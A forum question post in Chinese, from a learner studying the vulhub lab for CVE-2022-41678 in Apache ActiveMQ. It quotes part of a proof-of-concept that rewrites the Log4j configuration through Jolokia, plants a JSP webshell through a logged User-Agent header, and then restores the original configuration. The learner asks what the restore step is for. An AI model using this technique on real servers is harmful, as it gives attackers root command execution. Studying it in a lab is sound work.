关于vulhub中CVE-2022-41678靶场学习中的疑问

st2021   ·   发表于 2024-03-28 22:20:41   ·   提问求助

在学习这个docker靶场时,根据说明,第一种方法是
python poc.py -u -admin -p admin http://ip:8161
在学习poc内容时发现命令是通过exploit_log4j方法实现的
def exploit_log4j(self, mbean: str):
self.modify_config(mbean, evil_template)
logging.info(‘update log config’)
self.request(‘GET’, ‘/api/jolokia/version’, headers={
‘User-Agent’: f’Mozilla ||| {webshell} |||’
})
logging.info(‘write webshell to %s’, urljoin(self.url, ‘/admin/shell.jsp?cmd=id’))
self.modify_config(mbean, original_template)
logging.info(‘restore log config’)
第一步使用evil_template更新配置文件,生成了shell.jsp用于存储日志。
第二步使用self.request方法在User-Agent中插入恶意代码,系统当作日志自动写入shell.jsp日志文件
第三步使用original_template
original_template = r’’’<?xml version=”1.0” encoding=”UTF-8”?>

<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%5p | %m%n"/>
</Console>
<RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log" filePattern="${sys:activemq.data}/activemq.log.%i">
<PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
<RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
<PatternLayout pattern="%-5p | %m | %t%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console"/>
<AppenderRef ref="RollingFile"/>
</Root>
<Logger name="org.apache.activemq.spring" level="WARN"/>
<Logger name="org.apache.activemq.web.handler" level="WARN"/>
<Logger name="org.springframework" level="WARN"/>
<Logger name="org.apache.xbean" level="WARN"/>
<Logger name="org.eclipse.jetty" level="WARN"/>
<Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
<AppenderRef ref="AuditLog"/>
</Logger>
<!-- Uncomment and modify as needed for ActiveMQ logger <Logger name="org.apache.activemq" level="DEBUG"/> -->
</Loggers>
</Configuration>
‘’’
但是看了很久没有看明白这个步的作用是什么,于是直接在代码上将
self.modify_config(mbean, original_template)
注释了,然后修改evil_template中的日志文件名为shell88,重新生成
然后python poc.py -u -admin -p admin http://ip:8161
却发现访问http://ip:8161/admin/shell88?cmd=id
依然能够得到uid=0(root) gid=0(root) groups=0(root)的内容,
那到底第三步original_template restore log的作用到底什么呢?
emo
请各位大佬解惑
谢谢

打赏我,让我更有动力~

1 条回复   |  直到 1个月前 | 200 次浏览

小瑟斯
发表于 1个月前

问gpt

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.